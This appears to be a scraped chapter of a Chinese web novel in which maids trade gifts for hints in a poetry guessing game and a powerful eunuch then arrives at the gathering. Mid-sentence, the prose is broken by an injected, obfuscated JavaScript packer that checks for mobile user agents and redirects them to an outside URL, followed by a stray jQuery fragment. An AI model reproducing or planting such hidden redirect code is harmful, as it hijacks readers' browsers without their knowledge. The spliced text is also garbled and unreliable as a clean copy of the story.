默认冷灰
24号文字
方正启体

32. 雅集·一枚刺

作者:压龙大仙本书字数:K更新时间:
    鹿啄站了一会儿,等冰凉的手指又慢慢恢复温度,才打算回席上去。


    然刚走出两步,高汐英身边的拾翠将她截住了。


    这是高汐英的后手。在高雅英眼皮子下面请人有难度,如果点虹失败,拾翠会再去请,如果两人都失败,她会自己去请。


    好在拾翠运气不错,意外来了个黄雀在后。


    鹿啄已经明白这时候凡是找她,都是要问作诗的事,也不开口,只等着拾翠开价,虽说不可能再开出鹿苓的花样子这类的东西,


    但高汐英毕竟也是殷碧的亲生女,说不定也能有些线索。


    更何况一下子所有人都冲上来要给她送礼物,感觉还是挺好的。


    “你是叫阿啄对吧?”


    拾翠也是稳当的大丫鬟,跟玉珰的行事风格相似,都会先示好,她从怀中摸出一个手掌大小的绸子口袋,拉松了栓住口袋的丝


    线,给鹿啄看里头的东西。


    是一面雕双鲤戏藻的铜镜,用掺了水银的磨镜药磨过,光洁闪亮。


    “我不为难你,玉珰问了什么你也不用告诉我,你只要把严家少爷的诗,再说给我一遍,这面掌镜就归你了。”


    鹿啄摇摇头:


    “记不住。”


    “那你刚刚跟玉珰说了什么?”


    “他的诗跟衣裳有关。”


    这回答倒是很干脆,拾翠心中一盘算:


    如果她要诓骗自己,那一开始胡诌就行了,不会说什么记不住这样的话,看来这是实话,毕竟这样的铜镜丫鬟们是绝对触及不到


    的,且磨镜一次至少要七百文,这镜子又是磨好的,鹿啄一定很动心,所以才这么干脆。


    她把铜镜递给鹿啄,见鹿啄接了,才道:


    “不要告诉玉珰她们,如果你说了,我就跟她们说你也收了我们的东西,到时候你在大小姐那里会如何,不用我提点你吧。”


    这对鹿啄来说根本是无所谓的狗屁事,她敷衍地答应了。


    拾翠回身去迎高汐英,鹿啄又在原地站了一会儿,这地上会长出送礼的,守株待兔这典故看来并不是编故事,她默默地等待着。


    片刻后,严娅姹亲自现身了。


    但她已经抽过签,鹿啄不知道她是来问谁的。


    不同于两个丫鬟的审慎和防范,严娅姹很自然地走到鹿啄边上,从头上随手拔下一根作配的青玉竹节簪,送到鹿啄眼前,鹿啄很


    自然接了,问她:


    “你要问谁?”


    严娅姹笑了笑,她知道高家两位小姐私下肯定会有这些小交易,但她不是来问这个的。


    “我谁也不问,只要你帮我带一句话到男席,这簪子不值什么,你是高家少爷的丫头,你就当是见面礼,戴头发上,到时候你跟


    我哥哥传话,他看见了簪子就知道话一定是我吩咐的。”


    没有跟她客气的理由。


    鹿啄直接把簪子插在髻里,等她的下文。


    “就跟我哥哥说,高家无意严家,有意殷家。”


    这话好记,鹿啄点点头,严娅姹又补充:


    “我哥哥跟你少爷同席,叫严昆冈,你叫他名字就行。另外,这事儿不能当着你少爷的面说,行吗?”


    其实若要传话,最不该选的人就是鹿啄,但严娅姹故意为之,她就是要看看高家的丫鬟会不会把事情告诉家里,他们高家为了给


    严家赔礼,又有多大的诚意。


    但她要所托非人了。


    鹿啄哪里知道殷碧关于殷家严家的那一套算计,又怎么明白被严家得知他们不入高家小姐的眼有什么利害关系,她一向是受人之


    托,忠人之事。


    “行。”


    严娅姹走了,鹿啄又等了一会儿,再没有主动撞死的兔子送上门来,她就也回了席面上。


    此时一个小姐拿着签正念:


    “看花俱是倾城色,顾我原多掷果人。今日猜筹有误者,共饮一杯。”


    一场筹令下来,猜错者不少,都饮了。


    高雅英看了看签筒,还剩最后两支,只有她跟高汐英还没抽过。


    这句看花俱是倾城色,约有八成就是高克行所作,只因大概解意下来,无非是说:我看在座各位都是倾城倾国、才貌双绝,但肯


    稍稍顾惜我的只是为了我的容貌,且掷果这个典故化用自潘安,除了她的二弟,还有谁会自比潘安?


    那抽签的小姐也是常来雅集的,跟高雅英有了一样的想法,就问丫鬟:


    “这句是高家二公子所作?”


    出乎寻常,那丫鬟摇了摇头:


    “回小姐的话,并非高二少爷所作。”


    居然不是。


    高雅英又看了看签筒,问丫鬟:


    “高二少爷的签可是已经被抽过了?”


    这么问是不合规矩的,但高雅英的话丫鬟不敢不答,也不敢驳,只能道:


    “还没有。”


    这就明白了,签筒内还剩两支签,空荡荡的,一眼就能看到签上的字,一支写着:


    临川已觉花月近,照影何惭璧玉身。令:名中带水木偏旁者,共饮。


    另一支是:


    十年血浸青衫重,犹立风檐问九秋。令:自觉壮志未酬者,满饮三杯。


    两句的意境都不错,也具风雅,只是一句是自信从容,在镜花水月之中尚在自顾自身,是一种高洁自许的意象,而另一句是久沐


    凄风苦雨,但仍问天道,是一种悲愤之下仍有抱负的风骨。


    十成十第一句是高克行写的。


    况且按照玉珰刚刚送来的提示,这个青衫虽然不与衣裳完全相关,更多是指低位的书生文士,但以丫鬟的水准,这么理解也很


    对。


    高雅英伸手就要去抽第二支签,但还没碰到,就被高汐英拉住了,后者甜甜笑道:


    “姐姐让了一圈了,竟然不让我这个亲妹吗?”


    她觉得,第二句定然是严昆冈所作。


    还有比大理寺卿之子更有才学,更想施展抱负的吗?况且浸血这一句,也合着大理寺的职能。


    高雅英毫不退让:


    “妹妹名字里有水木偏旁,大概不想抽这一支吧。”她指了指第一支签,“姐姐替你抽另一支,最后一人轮空,如何?”


    “姐姐怎知我就不是壮志难酬,也不想抽那一支呢?”高汐英仍笑,“还是姐姐让我自己选,旁的我什么都让给姐姐,好不好?”


    这是姐妹两个顶上了,席间女眷心知肚明,她们二人该是猜到了这两支签都是谁作的,都想抽,这种情况下,严娅姹觉得还是苦


    一苦男人吧,于是她道:


    “既然如此,你们二位同抽如何?如果都抽到了一支,就一块儿猜,猜对了让那位公子喝两杯,怎么样?”


    没想到高雅英很痛快地应了,道:


    “如此甚好,那我就依妹妹,让一让你,你先猜。”


    高汐英只会猜严昆冈,这是她算好了的,高雅英一直在家里散播她对严家有意的讯息,为着就是这种时刻,能越过高汐英。


    说起来,母亲的确不疼妹妹,早早谋划了殷家的事,竟然一点都没跟她说。


    思及此处,高雅英故意摆出一副“量你也猜不到”的表情,激高汐英先猜。


    高汐英已觉察事态不对,但另一签怎么看,确实都是二哥作的,她只能硬着头皮,问丫鬟:


    “大概是,严家大公子所作?”


    丫鬟否定了。


    高雅英志在必得:


    “那么就是,殷家大公子所作。”


    那丫鬟显然有些不好意思,又摇了摇头。


    高雅英心下骇然,如遭雷击,一个丫鬟,竟然敢骗她么?


    高汐英也是皱眉,两人齐齐回头去看鹿啄,却见鹿啄神色如常。


    一个念头同时钻入两人的脑海。


    写衣裳的诗,原来是最开始的那一句:独爱琉璃三万顷,云影烟波共一涟。答案就在题眼里


    ——衣水色者,尽饮。


    高雅英难以置信地回过头,去看她们抽的那支签。


    十年血浸青衫重,犹立风檐问九秋。


    “你怎么会想到这么作呢?”


    男席上,高克行拿起茶杯,抿了一口,从鹿啄手中接过还回来的签,答严昆冈:


    “不是说了不想喝。”


    “你是奸佞,不想喝酒就故意学文衷的风骨骗人,太不厚道。”


    文衷是高克肃的字,严昆冈大概觉得弟弟模仿哥哥很容易,觉得高克行假装高克肃在席而逃避罚酒,十分阴险。但后者另有话答


    他,高克行放下茶杯,笑道:


    “没学,他作的诗像个埋在土里八百年的老首辅诈尸还魂作的,我如何学?”


    但让他这么一骗,最后也没人猜到殷封和严昆冈作的诗,那句被两位高小姐弃如敝履的“临川已觉花月近”,才是严昆冈的诗,


    至于殷封,居然没有人想到他勋贵军候家的出身,现场作诗自然应该不怎么工整。


    高克行看着鹿啄头上的簪子,笑问她:


    “你做了什么好事,居然有姑娘赏你?”


    鹿啄摇摇头:


    “没做,准备做。”


    严昆冈顺着话头去瞧鹿啄,也看到了簪子,他认出是妹妹的,便问:


    “可是我妹妹有话要你跟我说?”


    鹿啄点头。


    “那说吧,我洗耳恭听。”


    鹿啄又摇头,指着高克行:


    “不许当着他的面说。”


    这倒奇了,殷封指指自己的鼻子,问:


    “那我呢?”


    “没提你。”


    严、殷二人相视一笑,严昆冈拍了拍高克行,也不避讳:


    “公子的大作惊才绝艳,我妹妹兴许瞧上你了。”


    “瞧上她就猜出来了。”高克行面色不改,“多半是要骂我,怕我听了跟你打起来。阿啄,不许给她传。”


    鹿啄完全可以不动,由着公子们相争,但她心里的念头是,传也可以,不传也行,但毕竟已经收了簪子,也不能惹高克行不高


    兴,如果不是高克行,她没机会拿回姐姐两样遗物,索性把簪子拔了,递给严昆冈。


    “还你。”


    严昆冈没见过这么直眉楞眼的人,送出去的东西,没有还的道理,只能跟高克行讨饶:


    “你不让说我不听就是了,送了又还,我妹妹的脸往哪儿搁,你让这姐姐收了吧,我妹妹的话我自己去问。”


    高克行挑眉:


    “那我就当见面礼了,下回让你妹妹大方点。”


    严、殷二


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030562|194532||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人一阵苦笑,三人随意闲谈几句,忽听石桥对面人声鼎沸,方轩内众人噤声,高克行忽然幽幽对严昆冈道:


    “你要的排场来了。”


    石桥对岸,四个身着栗色纻丝贴里、腰系绦带的彪形大汉最先现于桥头,他们正是在正门给叶孤萍抬轿的人,这四个神态面貌已


    是非凡,步行上桥后,四人分立两侧,须臾,又有两个身着青缎曳撒,面白无须的俏丽少年垂首走了上来。


    这两个在正门没看到,应该是隐在人群里了。


    其中一个少年朝身后探出小臂,不顾有谁看着,高声道:


    “请爷爷上桥。”


    话音方落,拱形石阶后头先出来了一只手,那手保养得极好,细白柔嫩,还留着一小截指甲,这手搭上少年的小臂,随着少年躬


    身退步,渐渐让出一个人来。


    ——山东镇守太监叶孤萍。


    内监权力更迭极快,少有善终,地方上来的镇守太监年纪一年小似一年,从天禧初年大多是五十来岁的权宦,到如今只多见三十


    岁上,堪堪到四十的盛年鹰犬。


    叶孤萍的年纪瞧不大出来,太监不蓄须,又保养得宜,面上瞧,他至多三十出头,可他动辄行路就要人搀扶的做派,却又给自己


    添足了年纪。


    自打他上桥,直至他进了方轩,现场都无一人言语。


    桥上陆陆续续跟来一众随行,有在正门出现过的,还有一个意想不到的。


    高克行竟然在人群中看见了万梓阙。


    他低眉垂目,好似想撇清跟叶孤萍的干系,又好像已经被叶孤萍死死拿住,跟那两个小监毫无区别。


    此时,方轩内的叶孤萍缓缓抬头,轻柔而优雅地将方轩内的人扫了一遍,接着他牵动嘴角,用太监们特有的那种,极具媚态的笑


    容,朝坐在上首的人群一一笑过,不高不低又舒缓细腻的声音从他嘴里流出来:


    “看来,杂家扰了各位的雅兴了。”


    人群中高克行促狭一笑,手肘轻碰严昆冈,低声道:


    “够不够排场?”


    严昆冈当然说不出话来,他怎么也想不到镇守太监居然会亲临此地;更想不出这位动动手指就能碾死一个同知的权宦为什么上赶


    着来小官的雅集,他纵然不把这些下贱的奴婢真正当人,可摆在他面前的是情势。


    如同在场不少人一样,严昆冈在桌下捏紧了拳头。


    也许是想给叶孤萍圆场,万梓阙突然从叶孤萍身后众人里面闪出,弓着身子上前,先冲叶孤萍露了一个仿若受宠若惊般的笑容,揖礼道:


    “叶公此言,真是折煞我等。”


    并不被折煞的人群中有一两声轻嗤传来,万梓阙充耳不闻,继续道:


    “古有‘蔡邕倒屣迎王粲’,今有叶公纡尊降贵,亲临我这末流文会,正是效仿先贤古风!我等晚辈后学,能得聆训诲,已是三生


    有幸。”


    倒抽冷气的声音频频响起,众人无法理解,万梓阙是当朝二品之子,论身份尊贵,只在殷封之下,竟突然变成了另外一个人一


    样。


    叶孤萍对万梓阙极尽恭维的说辞并没什么特别的反应,他笑了笑,两个小监为他抬来铺了软垫的交椅,叶孤萍顺势坐下,冲小太监扬了下手。


    不知他吩咐了什么,小太监得令,匆匆走过石桥,片刻后,又领着几个人回来,其中有四人合抬着一口盛着活水的青花大缸,站


    在侧近的人看得清,有一尾近尺长的松江鲈鱼在缸中游弋。另有一随从端上砧板、快刀与盛有冰块的玉盘。整个过程安静而迅


    捷,叫在场之人移不开眼睛。


    “不知各位喜不喜欢食鱼脍。”叶孤萍覆掌微笑,“杂家这儿有一尾松江鲈鱼,可当众片了,供才俊们享用,以示杂家失礼之


    过。”


    他话说得谦卑,用意却歹毒。


    松江鲈鱼乃江南名产,青州距江南千里之遥,这鲈鱼在缸中游弋,仍然鲜活肥美,只能是走了供品专用的快船水道,这便是显贵的极致,犹如提着清流子弟们的耳朵说:


    看吧,纵然做了天大的官,但你们谁的爹谁的爷爷,能让你们在青州,吃上江南的活鱼脍。


    这还不完,又及松江鲈鱼自古就是文人们极为推崇的珍馐雅馔,有“莼鲈之思”的典故,这位权珰要当众将文人所崇尚的象征生剖活解,又似是借典故暗喻他们所追求的至高至雅不过惺惺作态。


    严昆冈第一个忍耐不得,他手摁在自己的膝盖上,几乎要将自己的膝盖捏碎,脸上一阵红一阵白,几欲拂袖而去,又觉得不狠狠折辱这阉狗一番,实难出心中的一口恶气。


    高克行坐在一旁,将他脸色看在眼里,笑了笑,玩笑一样道:


    “食不厌精,脍不厌细。吃得还挺风雅。”


    他声音不低,在场众人都听见了,连叶孤萍也投来一个目光,随即冲高克行柔媚一笑:


    “片,片好了先给这位公子品尝。”


    高克行还以笑容,直到叶孤萍不再看他,才不动声色地回身去找鹿啄,他原打算让鹿啄站得近些,有风吹草动能及时发觉,可一


    寻之下才发现,鹿啄不知什么时候站到那持刀的随从身后去了。


    一双眼睛,正盯着刀下肥鱼腮盖上的一枚刺。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)